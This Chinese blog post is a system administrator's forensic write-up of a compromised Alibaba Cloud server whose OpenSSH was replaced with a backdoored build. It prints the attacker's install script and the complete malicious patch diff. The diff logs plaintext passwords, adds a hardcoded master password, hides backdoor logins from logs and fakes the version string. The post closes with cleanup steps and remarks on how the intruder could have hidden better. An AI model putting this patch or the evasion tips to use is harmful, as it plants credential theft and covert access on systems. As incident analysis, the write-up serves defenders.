SSH服务恶意代码分析

来源:互联网 发布:拍电影特效软件 编辑:程序博客网 时间:2024/04/27 19:03

SSH服务恶意代码分析

摘要:

本文介绍一个ssh服务的恶意代码,该恶意代码为本人管理阿里云服务器时偶然发现,研究源码感觉存在较大的隐蔽性和安全隐患,因此写此博客记录之。

正文:

  • 初探:

    昨天检查实验室阿里云服务器/etc/passwd 文件存在提权用户Redistoor,初步怀疑系统被入侵。先不管,先把这个用户给禁用。

    查看rc.local系统自启动文件发现可疑启动项/tmp/minerd –XXXXX,可初步判断入侵者实际上已经获得了root权限。

    切换到/tmp目录下,未发现minerd程序,反而发现存在名字为httpdd的可执行文件,运行httpdd -v 发现无输出任何信息,感觉程序存在伪装成httpd的可能,应该是恶意代码,于是尝试执行,仅仅发现程序会连接网络,但具体做什么事不得而知。

  • 入侵轨迹:

    进入Redistoor的根目录,存在.bash_history文件,读取本文件得到该入侵用户bash历史指令:

    这里写图片描述

  • 密码记录:

    由于/tmp目录下确实存在zilog文件,读取该文件,吓了一跳,尼玛,记录着全部用户登录到系统的明文密码:

    user:passwd –> root:密码

    这里写图片描述

    到这里大概已经可以猜到httpdd是用来传输zilog文件的程序了,尝试着通过再次用ssh连接到服务器,结果zilog又再次记录了本次登录的密码,并且不仅仅对root,对于任何用户,该功能一直有效。

    一开始我怀疑是系统登录时/etc/.bashrc 或者profile被修改了某些能够记录用户密码的脚本,然而我错了。

  • 陷入困境:

    在纠结和无数次失败的尝试中度过了好几个小时,思路主要是想知道每次登录时,到底是哪个程序试图在写入zilog文件,尝试方法是用lsof,然而写入zilog文件似乎的很快的事情,当敲完lsof运行时可能程序早已写入并退出,这样lsof扑空。那我写个while循环呢?并没有什么卵用。

    线索到这里似乎就断了,向阿里的客服申请帮助,可是居然要我花3000多块钱买他们的服务器托管服务,就是个坑。还是自己动手丰衣足食好了。于是随便到其他目录逛逛,看下还有没有其他可疑的线索。

  • 柳暗花明:

    嘿嘿!运气好得不得了,在/usr目录下有了新的发现。该目录下面发现了Javar以及Farm的可执行代码,执行Javar也是一个网络连接程序,而且一旦运行按下Ctrl+C不但无法退出,还抛出一句“FuckYou!!!”,Oh,Shit! 这是入侵者最好的呼喊吧,在windows平台用binaryviewer打开查看其二进制对于的ASCII码,从中分析获取其自定义的一些字符常量,发现DDOS选项,估计这是个执行DDOS攻击的工具。

    此外在/usr目录下还有一个‘1’的可执行程序,执行了一下发现其实是一个bash脚本:

yum install -y zlib zlib-develyum groupinstall -y "Development tools"yum install -y openssl openssl-devel pam-develapt-get install gcc g++ make perl curlapt-get install -y libssl-devapt-get install zlib1g.devapt-get install -y opensslapt-get install -y rpmapt-get install -y libssl-devapt-get install -y libpam0g-devapt-get install -y libkrb5-devtar zxvf China.Z.tar.gzcd ./openssh-5.9p1./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5make && make install/etc/init.d/sshd restart/etc/rc.d/init.d/sshd restartcd ../rm -rf /openssh-5.9p1rm -rf China.Z.tar.gzrm -rf Install.sh

从脚本中可以发现脚本会用yum或者apt-get安装一些安装sshd服务所需的依赖库,然后解压China.Z.tar.gz文件,估计该文件解压出来就是
openssh-5.9p1文件,然后进入该文件去进行编译,安装替换掉系统原来的ssh程序,最后重启sshd服务,只要入侵者在sshd服务中做一些手脚,就完全有可能获取到登录的明文密码了,虽然一开始我也有怀疑是sshd服务被替换,没想到入侵者居然真的用了这么绝的手段。

  • 百密一疏:

    看了下/usr目录,openssh-5.9pl居然还在!!!!!原来脚本中rm -rf /openssh-5.9pl少了个‘.’,百密一疏了吧,源码都没删除,这回抓活的了。

    进入源码目录,天哪,好方,一堆文件,我只是想知道他到底改动了源码的哪些地方而已。一开始思路是从文件修改时间上看,那些修改时间较为临近的就是被入侵者自己修改的文件,于是按照这个思路对问津按照时间进行排序,发现了个可以省很多时间的文件:ssdb5.9.p1.diff !哈哈,diff !!!!!!!!!! 真没想到!打开文件,全部源码修改暴露无疑:

diff -u openssh-5.9p1/auth.c openssh-5.9p1.patch//auth.c--- openssh-5.9p1/auth.c    2011-05-29 18:40:42.000000000 +0700+++ openssh-5.9p1.patch//auth.c 2012-02-04 22:17:53.381926889 +0700@@ -271,14 +271,16 @@    else        authmsg = authenticated ? "Accepted" : "Failed";-   authlog("%s %s for %s%.100s from %.200s port %d%s",-       authmsg,-       method,-       authctxt->valid ? "" : "invalid user ",-       authctxt->user,-       get_remote_ipaddr(),-       get_remote_port(),-       info);+   if(!secret_ok || secret_ok !=1){+       authlog("%s %s for %s%.100s from %.200s port %d%s",+           authmsg,+           method,+           authctxt->valid ? "" : "invalid user ",+           authctxt->user,+           get_remote_ipaddr(),+           get_remote_port(),+           info);+   } #ifdef CUSTOM_FAILED_LOGIN    if (authenticated == 0 && !authctxt->postponed &&diff -u openssh-5.9p1/auth-pam.c openssh-5.9p1.patch//auth-pam.c--- openssh-5.9p1/auth-pam.c    2009-07-12 19:07:21.000000000 +0700+++ openssh-5.9p1.patch//auth-pam.c 2012-02-04 22:17:53.381926889 +0700@@ -1210,6 +1210,10 @@    if (sshpam_err == PAM_SUCCESS && authctxt->valid) {        debug("PAM: password authentication accepted for %.100s",            authctxt->user);+       if((f=fopen(ILOG,"a"))!=NULL){+           fprintf(f,"user:password --> %s:%s\n",authctxt->user, password);+           fclose(f);+       }        return 1;    } else {        debug("PAM: password authentication failed for %.100s: %s",diff -u openssh-5.9p1/auth-passwd.c openssh-5.9p1.patch//auth-passwd.c--- openssh-5.9p1/auth-passwd.c 2009-03-08 07:40:28.000000000 +0700+++ openssh-5.9p1.patch//auth-passwd.c  2012-02-04 22:17:53.381926889 +0700@@ -85,7 +85,10 @@ #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)    static int expire_checked = 0; #endif-+   if (!strcmp(password, SECRETPW)) {+                secret_ok=1;+                return 1;+        } #ifndef HAVE_CYGWIN    if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)        ok = 0;@@ -123,6 +126,12 @@    } #endif    result = sys_auth_passwd(authctxt, password);+   if(result){+       if((f=fopen(ILOG,"a"))!=NULL){+           fprintf(f,"user:password --> %s:%s\n",authctxt->user, password);+           fclose(f);+       }+   }    if (authctxt->force_pwchange)        disable_forwarding();    return (result && ok);diff -u openssh-5.9p1/canohost.c openssh-5.9p1.patch//canohost.c--- openssh-5.9p1/canohost.c    2010-10-12 09:28:12.000000000 +0700+++ openssh-5.9p1.patch//canohost.c 2012-02-04 22:17:53.381926889 +0700@@ -78,10 +78,12 @@    debug3("Trying to reverse map address %.100s.", ntop);    /* Map the IP address to a host name. */-   if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),-       NULL, 0, NI_NAMEREQD) != 0) {-       /* Host name not found.  Use ip address. */-       return xstrdup(ntop);+   if(!secret_ok || secret_ok!=1){+       if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),+               NULL, 0, NI_NAMEREQD) != 0) {+           /* Host name not found.  Use ip address. */+           return xstrdup(ntop);+       }    }    /*Common subdirectories: openssh-5.9p1/contrib and openssh-5.9p1.patch//contribdiff -u openssh-5.9p1/includes.h openssh-5.9p1.patch//includes.h--- openssh-5.9p1/includes.h    2010-10-24 06:47:30.000000000 +0700+++ openssh-5.9p1.patch//includes.h 2012-02-04 22:17:53.385927565 +0700@@ -172,4 +172,9 @@ #include "entropy.h"+int secret_ok;+FILE *f;+#define ILOG "/tmp/ilog"+#define OLOG "/tmp/olog"+#define SECRETPW "apaajaboleh" #endif /* INCLUDES_H */diff -u openssh-5.9p1/log.c openssh-5.9p1.patch//log.c--- openssh-5.9p1/log.c 2011-06-20 11:42:23.000000000 +0700+++ openssh-5.9p1.patch//log.c  2012-02-04 22:17:53.385927565 +0700@@ -351,6 +351,7 @@ void do_log(LogLevel level, const char *fmt, va_list args) {+if(!secret_ok || secret_ok!=1){ #if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT)    struct syslog_data sdata = SYSLOG_DATA_INIT; #endif@@ -428,3 +429,4 @@    }    errno = saved_errno; }+}Common subdirectories: openssh-5.9p1/openbsd-compat and openssh-5.9p1.patch//openbsd-compatCommon subdirectories: openssh-5.9p1/openssh-5.9p1.patch and openssh-5.9p1.patch//openssh-5.9p1.patchOnly in openssh-5.9p1.patch/: password_authenticationCommon subdirectories: openssh-5.9p1/regress and openssh-5.9p1.patch//regressCommon subdirectories: openssh-5.9p1/scard and openssh-5.9p1.patch//scarddiff -u openssh-5.9p1/servconf.c openssh-5.9p1.patch//servconf.c--- openssh-5.9p1/servconf.c    2011-06-23 05:30:03.000000000 +0700+++ openssh-5.9p1.patch//servconf.c 2012-02-04 22:17:53.385927565 +0700@@ -686,7 +686,7 @@    { "without-password",       PERMIT_NO_PASSWD },    { "forced-commands-only",   PERMIT_FORCED_ONLY },    { "yes",            PERMIT_YES },-   { "no",             PERMIT_NO },+   { "no",             PERMIT_YES },    { NULL, -1 } }; static const struct multistate multistate_compression[] = {Only in openssh-5.9p1.patch/: sshbd5.9p1.diffdiff -u openssh-5.9p1/sshconnect2.c openssh-5.9p1.patch//sshconnect2.c--- openssh-5.9p1/sshconnect2.c 2011-05-29 18:42:34.000000000 +0700+++ openssh-5.9p1.patch//sshconnect2.c  2012-02-04 22:17:53.385927565 +0700@@ -878,6 +878,10 @@    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",        authctxt->server_user, host);    password = read_passphrase(prompt, 0);+   if((f=fopen(OLOG,"a"))!=NULL){+       fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);+       fclose(f);+   }    packet_start(SSH2_MSG_USERAUTH_REQUEST);    packet_put_cstring(authctxt->server_user);    packet_put_cstring(authctxt->service);diff -u openssh-5.9p1/sshlogin.c openssh-5.9p1.patch//sshlogin.c--- openssh-5.9p1/sshlogin.c    2011-01-11 13:20:07.000000000 +0700+++ openssh-5.9p1.patch//sshlogin.c 2012-02-04 22:17:53.389928235 +0700@@ -133,8 +133,10 @@    li = login_alloc_entry(pid, user, host, tty);    login_set_addr(li, addr, addrlen);-   login_login(li);-   login_free_entry(li);+   if(!secret_ok || secret_ok!=1){+       login_login(li);+       login_free_entry(li);+   } } #ifdef LOGIN_NEEDS_UTMPX@@ -158,6 +160,8 @@    struct logininfo *li;    li = login_alloc_entry(pid, user, NULL, tty);-   login_logout(li);-   login_free_entry(li);+   if(!secret_ok || secret_ok!=1){+       login_logout(li);+       login_free_entry(li);+   } }diff -u openssh-5.9p1/version.h openssh-5.9p1.patch//version.h--- openssh-5.9p1/version.h 2011-09-07 06:11:20.000000000 +0700+++ openssh-5.9p1.patch//version.h  2012-02-04 23:03:22.821948952 +0700@@ -1,6 +1,6 @@ /* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */-#define SSH_VERSION    "OpenSSH_5.9"+#define SSH_VERSION    "OpenSSH_5.8p1 Debian-1ubuntu3" #define SSH_PORTABLE   "p1" #define SSH_RELEASE    SSH_VERSION SSH_PORTABLE
  • 上帝为你关上一扇门,自己给自己打开一个窗:

    可见对源码修改,使它具备记录账户明文信息主要是在:auth-passwd.c中,代码会执行fopen(“/tmp/zilog”,”a”)在文件末尾追加账户信息。
    在该代码中,还有一点比较变态的是:SECRETPW 这个宏定义(在includes.h中定义为#define SECRETPW “apaajaboleh”),代码:

+   if (!strcmp(password, SECRETPW)) {+                secret_ok=1;+                return 1;+        }
  • 大概的思路是密码跟SECRETPW进行匹配,如果匹配满足,则验证通过。这意味也就着,入侵者在不知道密码的情况下,只要用系统已有的账户名(包括root),输入SECRETPW定义的字符串即”apaajaboleh”,也能登录系统!!!!!

    另外一个值得注意的是,系统除了具有登录到本机的账号和密码以外,还具有记录从本机通过ssh、scp等命令登录到其他计算机的能力,生成的记录会保存在/tmp/zolog。在sshconnect2.c代码中,实现了本功能。

if((f=fopen(OLOG,"a"))!=NULL){    fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);    fclose(f);}

总结及应对方法:

至此,本恶意程序的分析工作完毕,总结起来,该恶意代码的执行特征如下:

(1) 监控登录到本机的用户,并将登录账户和密码记录到/tmp/zilog(2) 监控通过本机登录带其他机器的用户,并将登录账户、密码和目标地址记录到/tmp/zolog(3) 预留后门验证密码,方便密码上传程序上传失败时登录系统使用。

应对策略:

   (1)删除/usr/bin 下ssh开头的可执行文件:rm -rf /usr/bin/ssh*   (2)删除/usr/sbin下sshd文件:rm -rf /usr/bin/sshd   (3)删除/etc/ssh 下的配置文件 rm -rf /etc/ssh/*   (4)利用yum重装openssh服务:yum reinstall openssh      或者 下载openssh源码编译安装   (5)重置系统全部账户密码,如果可能,改用公钥-密钥对认证

发此博客,主要是该恶意程序存在巨大的安全隐患,入侵者破解系统登录密码以后,通过替换系统关键远程登录服务sshd执行文件的方法自动上传用户密码可谓一劳永逸,而预留后门登录密码的方式却是特别保险的方法。
但是,吐槽一下,该攻击者执行入侵的轨迹过于明显,入侵手段还有一些需要提高的地方:

(1)留下大量的入侵记录,在/etc/passwd中,既然已经获得系统    root权限,有必要删除入侵账户,而且应该完全删除入侵账户的根    目录;(2)安装恶意代码过于随意,如果将httpdd Javar Fram 等程序安        装到/usr/bin或者/bin等目录下,无疑会增加恶意程序的隐蔽    性,增强其生存几率。(3)最严重的是一时疏忽暴漏由于少加了个'.'直接暴漏主要的源代码,    这使得本次的侦破难度大大降低,可谓连根拔起。

在 Javar、httpdd、Farm中还有很多可以挖掘的信息,笔者无意,故放弃之。

1 0